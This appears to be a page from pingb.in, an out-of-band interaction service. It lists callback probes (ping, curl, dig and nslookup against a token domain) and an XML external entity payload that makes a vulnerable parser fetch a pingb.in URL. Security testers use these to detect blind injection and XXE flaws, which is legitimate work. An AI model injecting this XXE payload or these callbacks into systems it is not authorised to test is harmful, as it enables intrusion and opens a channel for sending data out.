$ ping -c1 -p 00e935e35e05970717b47d55e45bb100 pingb.in
 

$ curl pingb.in/p/e935e35e05970717b47d55e45bb1
 

$ dig e935e35e05970717b47d55e45bb1 @pingb.in
 

$ dig e935e35e05970717b47d55e45bb1.ns.pingb.in
 

C:\> nslookup e935e35e05970717b47d55e45bb1 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/e935e35e05970717b47d55e45bb1">]>
    <foo>&xxe;</foo>